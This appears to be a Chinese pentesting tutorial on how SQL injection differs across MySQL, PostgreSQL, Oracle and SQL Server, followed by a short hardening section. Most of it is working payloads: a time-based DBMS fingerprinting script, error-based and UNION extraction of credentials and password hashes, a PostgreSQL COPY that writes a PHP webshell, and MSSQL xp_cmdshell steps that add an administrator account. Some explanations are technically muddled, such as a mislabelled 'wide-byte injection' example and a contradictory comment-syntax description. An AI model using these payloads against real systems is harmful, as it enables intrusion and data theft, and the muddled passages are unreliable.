一、为什么要关注数据库差异
在实际渗透中,目标用的数据库可能不是 MySQL。不同数据库在语法、函数、权限模型上差异巨大。一篇 payload 在 MySQL 上能用,换 Oracle 可能直接报错。理解这些差异,才能在实战中快速切换。
二、数据库指纹识别
2.1 基于特征函数
-- MySQL
SELECT @@version, @@version_compile_os, USER()
-- PostgreSQL
SELECT version(), current_user, current_database()
-- Oracle
SELECT banner FROM v$version; SELECT user FROM dual;
-- SQL Server
SELECT @@version, DB_NAME(), SYSTEM_USER
2.2 盲注指纹(无回显场景)
-- 延时函数判断
MySQL: SELECT SLEEP(3)
PG: SELECT pg_sleep(3)
MSSQL: WAITFOR DELAY '0:0:3'
-- 报错函数判断
MySQL: updatexml(1,concat(0x7e,@@version,0x7e),1)
-- 返回: XPATH syntax error: '~8.0.36~'
PG: SELECT CAST(version() AS int)
-- 返回: invalid input syntax for type integer: "PostgreSQL..."
MSSQL: SELECT CONVERT(int,@@version)
-- 返回: Conversion failed when converting...
2.3 指纹识别脚本
def detect_dbms(url, param):
"""通过延时特征判断数据库类型"""
tests = {
'MySQL': f"admin' AND SLEEP(3)-- -",
'PG': f"admin' AND pg_sleep(3)-- -",
'MSSQL': f"admin'; WAITFOR DELAY '0:0:3'-- -",
'Oracle': f"admin' AND DBMS_LOCK.SLEEP(3)-- -",
}
for dbms, payload in tests.items():
start = time.time()
requests.get(url, params={param: payload})
elapsed = time.time() - start
if elapsed >= 2.5:
return dbms
return "Unknown"
三、MySQL 注入特性
3.1 特有函数列表
| 函数 |
作用 |
示例 |
CONCAT() |
字符串拼接 |
CONCAT(a,b,c) |
GROUP_CONCAT() |
多行拼一行 |
GROUP_CONCAT(name SEPARATOR ',') |
IF() |
条件判断 |
IF(cond, true_val, false_val) |
SLEEP() |
延时 |
SLEEP(3) |
BENCHMARK() |
计算延时 |
BENCHMARK(1000000, SHA1('test')) |
LOAD_FILE() |
读文件 |
LOAD_FILE('/etc/passwd') |
INTO OUTFILE |
写文件 |
INTO OUTFILE '/path/to/file' |
UPDATEXML() |
报错注入 |
updatexml(1,~expr~,1) |
EXTRACTVALUE() |
报错注入 |
extractvalue(1,~expr~) |
CHAR() |
ASCII 转字符 |
CHAR(97,98,99) = 'abc' |
HEX() / UNHEX() |
十六进制 |
0x616263 = 'abc' |
@@variable |
系统变量 |
@@secure_file_priv |
3.2 MySQL 5.7 vs 8.0 差异
-- authentication_string 格式
-- 5.7: mysql_native_password (*40位hex)
-- 8.0: caching_sha2_password
-- sys schema 默认启用(5.7+)
SELECT * FROM sys.schema_table_statistics;
-- 窗口函数(8.0+)
SELECT name, ROW_NUMBER() OVER (ORDER BY id) FROM products;
-- CTE 递归(8.0+)
WITH RECURSIVE cte AS (...) SELECT * FROM cte;
3.3 MySQL 特有注释
-- 内联版本注释(版本号低于时忽略)
UNION /*!50000SELECT*/ 1,2,3
-- MySQL 5.0+ 展开为 SELECT,低版本忽略
-- 条件注释(版本号低于时展开)
/*!50700SELECT VERSION()*/
-- 5.7+ 执行里面的语句
四、PostgreSQL 注入特性
4.1 特有函数列表
| 函数 |
作用 |
示例 |
STRING_AGG() |
多行拼一行 |
STRING_AGG(name, ',') |
pg_sleep() |
延时 |
pg_sleep(3) |
COPY |
读写文件 |
COPY TO '/path/file' |
DO $$...$$ |
执行 PL/pgSQL |
DO $$ BEGIN ... END $$; |
REGEXP_REPLACE() |
正则替换 |
REGEXP_REPLACE(s, p, r) |
| ` |
|
` |
current_user |
当前用户 |
SELECT current_user |
current_database() |
当前库 |
SELECT current_database() |
information_schema |
兼容 schema |
支持但建议用 PG 专属表 |
4.2 PG 特有的文件读写
-- 读取文件(需要超级用户或 pg_read_server_files 角色)
SELECT pg_read_file('/etc/passwd');
-- 写入文件(COPY FROM PROGRAM)
COPY (SELECT '<?php eval($_GET[1]);?>') TO '/var/www/html/shell.php';
-- 新版本用 pg_write_file(PG 16+)
SELECT pg_write_file('/path/file', 'content');
4.3 PG 的堆叠天然支持
import psycopg2
conn = psycopg2.connect("dbname=shop user=postgres")
cur = conn.cursor()
cur.execute("SELECT 1; DROP TABLE test_table;") # 直接执行多条!
4.4 PG 的报错注入技巧
-- 类型转换溢出
admin' AND (SELECT CAST((SELECT version()) AS int))-- -
-- invalid input syntax for type integer
-- 数组越界
admin' AND (SELECT (SELECT ARRAY[1,2,3])[999])-- -
-- 除以零
admin' AND (SELECT 1/(SELECT 0))-- -
-- RAISE EXCEPTION(需要 PL/pgSQL 权限)
DO $$ BEGIN RAISE EXCEPTION '%', (SELECT version()); END $$;
4.5 PG 的 information_schema 限制
PostgreSQL 的 information_schema.tables 只返回当前用户有权限看到的表。如果权限不够,需要查 PG 专属表:
-- PG 专属系统表
SELECT schemaname, tablename FROM pg_tables WHERE schemaname='public';
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';
SELECT datname FROM pg_database;
SELECT rolname FROM pg_roles;
五、Oracle 注入特性
5.1 特有函数列表
| 函数 |
作用 |
示例 |
CONCAT() |
拼接(双参数) |
CONCAT(a, b) |
DECODE() |
条件判断 |
DECODE(col, val1, res1, default) |
SYS_CONTEXT() |
系统上下文 |
SYS_CONTEXT('USERENV','DB_NAME') |
DBMS_LOCK.SLEEP() |
延时 |
DBMS_LOCK.SLEEP(3) |
UTL_INADDR.GET_HOST_NAME() |
DNS 解析 |
可用于外带数据 |
UTL_HTTP.REQUEST() |
HTTP 请求 |
可用于外带数据 |
XSLTRANSFORM() |
报错注入 |
类似 updatexml |
DBMS_XDB |
文件操作 |
12c+ |
5.2 Oracle 关键差异
-- 必须有表名!没有 SELECT 1 FROM ... 会报错
SELECT 1 FROM dual;
-- 字符串拼接用 ||
SELECT 'a' || 'b' FROM dual;
-- 没有 LIMIT!用 ROWNUM 分页
SELECT * FROM (SELECT a, ROWNUM rn FROM t WHERE ROWNUM<=10) WHERE rn>=1;
-- 没有 GROUP_CONCAT!
-- Oracle 11g 用 WM_CONCAT(非官方)
-- Oracle 12c 用 LISTAGG
SELECT LISTAGG(name, ',') WITHIN GROUP (ORDER BY name) FROM users;
5.3 Oracle 注入 payload
-- UNION 注入
SELECT * FROM products WHERE id=1 UNION SELECT 1,username||':'||password,3,4 FROM users-- -
-- 报错注入(XSLTRANSFORM)
SELECT XSLTRANSFORM(
XMLTYPE('<root/>'),
XMLTYPE('<?xml version="1.0"?><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:message terminate="yes">' || (SELECT version FROM v$instance) || '</xsl:message></xsl:template></xsl:stylesheet>')
) FROM dual
-- 时间盲注
SELECT CASE WHEN (SELECT current_user FROM dual)='SYS' THEN DBMS_LOCK.SLEEP(3) ELSE 0 END FROM dual
5.4 Oracle 数据字典表
-- 数据库用户和表
SELECT username FROM all_users;
SELECT owner, table_name FROM all_tables WHERE owner='SHOP';
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';
-- 数据库版本
SELECT banner FROM v$version;
SELECT version FROM v$instance;
-- 当前用户权限
SELECT privilege FROM user_sys_privs;
SELECT role FROM user_role_privs;
5.5 Oracle 权限分类
| 角色 |
权限 |
风险 |
CONNECT |
连接数据库 |
低 |
RESOURCE |
创建对象 |
中 |
DBA |
管理员 |
极高 |
IMP_FULL_DATABASE |
导入任意数据 |
极高 |
CREATE SESSION |
基础连接 |
低 |
六、SQL Server (MSSQL) 注入特性
6.1 特有函数列表
| 函数 |
作用 |
示例 |
CONVERT() / CAST() |
类型转换 |
CONVERT(int, '123') |
ISNULL() |
空值处理 |
ISNULL(col, 'default') |
WAITFOR DELAY |
延时 |
WAITFOR DELAY '0:0:3' |
DB_NAME() |
数据库名 |
SELECT DB_NAME() |
@@version |
版本 |
SELECT @@version |
SUSER_SNAME() |
登录名 |
SELECT SUSER_SNAME() |
PRINT |
输出(可外带) |
PRINT 'message' |
6.2 MSSQL 特有注入技巧
-- 分号堆叠(MSSQL 天然支持)
; SELECT TOP 1 name FROM sys.databases;--
-- 注释风格
-- 单行: --
-- 块: /* ... */
-- 报错注入(CONVERT 溢出)
admin' AND CONVERT(int,(SELECT TOP 1 name FROM sys.tables))-- -
-- 时间盲注(WAITFOR DELAY)
admin'; IF (SELECT TOP 1 DB_NAME())='shop' WAITFOR DELAY '0:0:3'-- -
-- 宽字节注入(MSSQL 支持 sp_executesql)
DECLARE @sql nvarchar(max); SET @sql = (SELECT TOP 1 name FROM sys.databases); EXEC(@sql);-- -
6.3 MSSQL 系统表
-- 数据库列表
SELECT name FROM sys.databases;
-- 指定库的表(需要切换上下文)
USE shop; SELECT name FROM sys.tables;
-- 列
SELECT name FROM sys.columns WHERE object_id=(SELECT object_id('users'));
-- 登录用户和密码哈希
SELECT name, master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins;
6.4 MSSQL 的危险存储过程
-- xp_cmdshell(执行系统命令,默认关闭)
; EXEC xp_cmdshell 'whoami';
-- 开启 xp_cmdshell
; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
; EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
-- OLE Automation
; DECLARE @o int; EXEC sp_oacreate 'wscript.shell', @o OUTPUT;
; EXEC sp_oamethod @o, 'run', NULL, 'cmd.exe /c calc.exe';
-- 读取注册表
; EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'ProductName';
七、跨数据库通用技巧
7.1 字符串拼接对比
-- MySQL / PG / Oracle (参数不同)
MySQL: CONCAT(a, b, c)
PG: a || b || c
Oracle: CONCAT(a, b) -- 只能两个参数!
-- MSSQL: +
MSSQL: a + b + c
7.2 延时函数对比
MySQL: SLEEP(3) / BENCHMARK(1000000, SHA1('x'))
PG: pg_sleep(3)
Oracle: DBMS_LOCK.SLEEP(3)
MSSQL: WAITFOR DELAY '0:0:3'
7.3 多行拼接函数对比
MySQL: GROUP_CONCAT(col SEPARATOR ',')
PG: STRING_AGG(col, ',')
Oracle: LISTAGG(col, ',') WITHIN GROUP (ORDER BY col)
MSSQL: FOR XML PATH('') -- FOR XML PATH + STUFF 组合
7.4 文件操作对比
| 数据库 |
读文件 |
写文件 |
需要权限 |
| MySQL |
LOAD_FILE() |
INTO OUTFILE |
FILE 权限 + secure_file_priv |
| PG |
pg_read_file() |
COPY TO |
超级用户或特定角色 |
| Oracle |
UTL_FILE |
UTL_FILE |
DBA + directory 对象 |
| MSSQL |
BULK INSERT |
xp_cmdshell bcp |
sysadmin + 磁盘权限 |
八、防御中的数据库差异
8.1 MySQL 加固
-- 禁用文件操作
SET GLOBAL secure_file_priv = NULL;
SET GLOBAL local_infile = OFF;
-- 限制 INFORMATION_SCHEMA
CREATE ROLE restricted_user;
REVOKE ALL ON *.* FROM restricted_user;
REVOKE SHOW DATABASES ON *.* FROM restricted_user;
-- 清理历史危险函数
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
8.2 PostgreSQL 加固
-- 限制 COPY 权限
REVOKE ALL ON FUNCTION pg_read_file(text) FROM PUBLIC;
REVOKE ALL ON FUNCTION pg_write_file(text, text) FROM PUBLIC;
-- 限制系统表访问
REVOKE ALL ON pg_tables FROM PUBLIC;
-- 移除不必要的扩展
DROP EXTENSION IF EXISTS 'pg_readme';
8.3 Oracle 加固
-- 锁死关键账户
ALTER USER SYS ACCOUNT LOCK;
ALTER USER SYSTEM ACCOUNT LOCK;
-- 禁用 UTL_HTTP 和 UTL_FILE(如果不需要)
REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC;
REVOKE EXECUTE ON UTL_FILE FROM PUBLIC;
REVOKE EXECUTE ON DBMS_LOB FROM PUBLIC;
-- 设置合理的密码复杂度
ALTER PROFILE DEFAULT LIMIT PASSWORD_LIFE_TIME 90;
8.4 MSSQL 加固
-- 关闭 xp_cmdshell
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 0; RECONFIGURE;
-- 关闭 OLE Automation
sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;
-- 移除危险过程
DROP PROCEDURE IF EXISTS xp_cmdshell_alt;
理解数据库差异让你在渗透时能快速适配 payload,在防御时能针对性加固。但无论底层是什么数据库,参数绑定 + 最小权限 + 输入验证 都是永恒的核心防御策略。